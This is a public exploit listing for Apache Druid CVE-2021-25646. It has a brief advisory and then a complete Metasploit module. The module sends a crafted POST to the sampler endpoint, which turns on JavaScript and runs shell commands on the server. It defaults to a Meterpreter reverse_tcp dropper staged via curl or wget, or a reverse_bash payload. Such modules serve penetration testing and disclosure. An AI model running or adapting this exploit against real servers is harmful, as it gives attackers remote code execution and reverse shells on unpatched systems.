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Apache Druid 0.20.0 Remote Command Execution

Apache Druid 0.20.0 Remote Command Execution
Posted Apr 27, 2021
Authored by Litch1, je5442804, Alibaba Cloud Security Team | Site metasploit.com

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests; however, that feature is disabled by default. In Druid versions prior to 0.20.1, an authenticated user can send a specially-crafted request that both enables the JavaScript code-execution feature and executes the supplied code all at once, allowing for code execution on the server with the privileges of the Druid Server process. More critically, authentication is not enabled in Apache Druid by default.

tags | exploit, javascript, code execution
advisories | CVE-2021-25646
SHA-256 | b298c899e38be69b54163c4da54bb4be979f3abb34cca3c04ac527f6a5c92905

Apache Druid 0.20.0 Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',
'Description' => %q{
Apache Druid includes the ability to execute user-provided JavaScript code embedded in
various types of requests; however, that feature is disabled by default.

In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request
that both enables the JavaScript code-execution feature and executes the supplied code all
at once, allowing for code execution on the server with the privileges of the Druid Server process.
More critically, authentication is not enabled in Apache Druid by default.

Tested on the following Apache Druid versions:

* 0.15.1
* 0.16.0-iap8
* 0.17.1
* 0.18.0-iap3
* 0.19.0-iap7
* 0.20.0-iap4.1
* 0.20.0
* 0.21.0-iap3
},
'Author' => [
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery
'je5442804' # Metasploit module
],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'References' => [
['CVE', '2021-25646'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646'],
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']
],
'DisclosureDate' => '2021-01-21',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Linux (dropper)', {
'Platform' => 'linux',
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64]
}
],
[
'Unix (in-memory)', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
],
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(8888),
OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])
])
end

def execute_command(cmd, _opts = {})
gencmd = '/bin/sh`@~-c`@~' + cmd
genvar = Rex::Text.rand_text_alpha(8..12)
genname = Rex::Text.rand_text_alpha(8..12)
vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")
post_data = {
type: 'index',
spec: {
ioConfig: {
type: 'index',
firehose: {
type: 'local',
baseDir: '/etc',
filter: 'passwd'
}
},
dataSchema: {
dataSource: Rex::Text.rand_text_alpha(8..12),
parser: {
parseSpec: {
format: 'javascript',
timestampSpec: {},
dimensionsSpec: {},
function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",
"": {
enabled: 'true'
}
}
}
}
},
samplerConfig: {
numRows: 10
}
}.to_json

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json, text/plain, */*'
},
'data' => post_data
})
end

def check
genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')

vprint_status("Attempting to execute 'echo #{genecho}' on the target.")
res = execute_command("echo #{genecho}")
unless res
return CheckCode::Unknown('Connection failed.')
end

unless res.code == 200
return CheckCode::Safe
end

if res.body.include?(genecho)
return CheckCode::Vulnerable
end

CheckCode::Unknown('Target does not seem to be running Apache Druid.')
end

def exploit
case target['Type']
when :linux_dropper
execute_cmdstager
when :unix_memory
execute_command(payload.encoded)
end
end

end
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